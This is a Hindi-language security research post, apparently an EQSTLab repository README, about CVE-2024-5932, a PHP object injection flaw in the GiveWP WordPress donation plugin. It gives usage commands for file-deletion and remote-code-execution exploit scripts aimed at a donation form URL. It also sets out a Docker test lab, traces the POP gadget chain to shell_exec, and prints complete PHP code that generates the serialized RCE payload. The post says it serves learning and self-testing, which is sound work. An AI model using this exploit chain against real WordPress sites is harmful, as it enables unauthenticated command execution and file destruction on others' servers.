
GiveWP PHP ऑब्जेक्ट इंजेक्शन एक्सप्लॉइट
यह पोस्ट EQSTLab द्वारा प्रकाशित एक शोध लेख है।
वर्तमान में xmrig चलाने वाले नकली PoC github रिपॉजिटरी मौजूद हैं। अधिक जानकारी के लिए नीचे दिए गए लिंक देखें:
URL1: https://x.com/win3zz/status/1828704644987511107
URL2: https://x.com/bornunique911/status/1828712791844524453
URL3: https://x.com/Chocapikk_/status/1828801346637856841
★ CVE-2024-5932 मनमाना फ़ाइल विलोपन और RCE PoC ★
https://github.com/user-attachments/assets/333e347a-fd71-404a-962b-2d0d4bb952c7
25 अगस्त : CVE-2024-5932 फ़ाइल विलोपन PoC अपलोड किया गया
26 अगस्त : हमने CVE-2024-5932 का उपयोग करके मनमाने कमांड को सफलतापूर्वक निष्पादित किया है, लेकिन प्रभाव के कारण प्रकटीकरण पर विचार कर रहे हैं।
27 अगस्त : हमें RCE Security के Julien Ahrens द्वारा एक पोस्ट में PoC का विस्तृत विश्लेषण मिला और हमने अपना RCE PoC प्रकाशित करने का निर्णय लिया। हमने एक अतिरिक्त RCE PoC को CVE-2024-5932-rce.py के रूप में अपलोड किया।
CVE-2024-5932 : GiveWP PHP ऑब्जेक्ट इंजेक्शन कमजोरी विवरण: GiveWP डोनेशन प्लगइन और फंडरेज़िंग प्लेटफॉर्म प्लगइन WordPress के लिए, सभी संस्करणों में 3.14.1 तक और इसमें शामिल, 'give_title' पैरामीटर से अविश्वसनीय इनपुट के डिसीरियलाइज़ेशन के माध्यम से PHP ऑब्जेक्ट इंजेक्शन के लिए असुरक्षित है। यह अप्रमाणित हमलावरों के लिए PHP ऑब्जेक्ट इंजेक्ट करना संभव बनाता है। POP चेन की अतिरिक्त उपस्थिति हमलावरों को दूरस्थ रूप से कोड निष्पादित करने और मनमानी फ़ाइलों को हटाने की अनुमति देती है।
git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932
pip install -r requirements.txt
# मनमाना फ़ाइल विलोपन
python CVE-2024-5932.py -u <URL_TO_EXPLOIT(Donation Form URL)> -f <FILE_TO_DELETE>
# दूरस्थ कोड निष्पादन
python CVE-2024-5932-rce.py -u <URL_TO_EXPLOIT(Donation Form URL)> -c <COMMAND_TO_EXECUTE>
python CVE-2024-5932.py -u http://example.com/2024/08/24/donation2/ -f /tmp/test
python CVE-2024-5932-rce.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"
CVE-2024-5932.py

CVE-2024-5932-rce.py


services:
db:
image: mysql:8.0.27
command: '--default-authentication-plugin=mysql_native_password'
restart: always
environment:
- MYSQL_ROOT_PASSWORD=somewordpress
- MYSQL_DATABASE=wordpress
- MYSQL_USER=wordpress
- MYSQL_PASSWORD=wordpress
expose:
- 3306
- 33060
wordpress:
image: wordpress:6.3.2
ports:
- 80:80
restart: always
environment:
- WORDPRESS_DB_HOST=db
- WORDPRESS_DB_USER=wordpress
- WORDPRESS_DB_PASSWORD=wordpress
- WORDPRESS_DB_NAME=wordpress
volumes:
db_data:
https://downloads.wordpress.org/plugin/give.3.14.1.zip
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins



पहले, निम्नलिखित कमांड से wordpress शेल तक पहुँचें:
docker exec -it -u root docker-wordpress-1 /bin/bash
यदि फ़ाइल root के स्वामित्व में है, तो अनुमतियों के कारण इसे हटाया नहीं जा सकता है। इसलिए, आपको निम्नलिखित कमांड से परीक्षण फ़ाइल का स्वामित्व बदलना होगा:
touch test && chown www-data test

आप PHPSTORM का उपयोग करके अपने GiveWP को डीबग कर सकते हैं।
pecl install xdebug
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1
..और फिर आप अपने wordpress को डीबग कर सकते हैं।


इस बिंदु पर, get_meta() फ़ंक्शन पहले से सहेजे गए "give_title" मान को डिसीरियलाइज़ करता है।
switch ( $key ) {
case 'title':
$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
break;
...
strip_tags: nullbytes को \0 से बदलें
stripslashes_deep: बैकस्लैश को \\\\ से बदलें
Stripe\StripeObject->__toString()
Stripe\StripeObject->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()
Give->__get('address1')
\Give\Vendors\Faker\ValidGenerator->get('address1')
\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')
Give\Onboarding\SettingsRepository->get('address1') (कमांड स्ट्रिंग लौटाता है)
call_user_func('shell_exec', 'command')
PoC.php
<?php
namespace Stripe{
class StripeObject
{
protected $_values;
public function __construct(){
$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
}
}
}
namespace Give\PaymentGateways\DataTransferObjects{
class GiveInsertPaymentData{
public $userInfo;
public function __construct()
{
$this->userInfo['address'] = new \Give();
}
}
}
namespace{
class Give{
protected $container;
public function __construct()
{
$this->container = new \Give\Vendors\Faker\ValidGenerator();
}
}
}
namespace Give\Vendors\Faker{
class ValidGenerator{
protected $validator;
protected $generator;
public function __construct()
{
$this->validator = "shell_exec";
$this->generator = new \Give\Onboarding\SettingsRepository();
}
}
}
namespace Give\Onboarding{
class SettingsRepository{
protected $settings;
public function __construct()
{
$this -> settings['address1'] = 'touch /tmp/EQSTtest';
}
}
}
namespace{
$a = new Stripe\StripeObject();
echo serialize($a);
}
POP चेन दूरस्थ कमांड निष्पादन की अनुमति देती है।

TCPDF का उपयोग करके, आप मनमाना फ़ाइल विलोपन का शोषण कर सकते हैं।
यह रिपॉजिटरी CVE-2024-5932 के लिए ऑब्जेक्ट इंजेक्शन एक्सप्लॉइट होने का इरादा नहीं है। इस परियोजना का उद्देश्य लोगों को इस कमजोरी के बारे में सीखने में मदद करना है, और शायद अपने स्वयं के अनुप्रयोगों का परीक्षण करना है।
हम महीने में एक बार CVE और मैलवेयर विश्लेषण प्रकाशित करते हैं। यदि आप रुचि रखते हैं, तो कृपया हमारे प्रकाशनों को देखने के लिए नीचे दिए गए लिंक का अनुसरण करें। https://www.skshieldus.com/eng/business/insight.do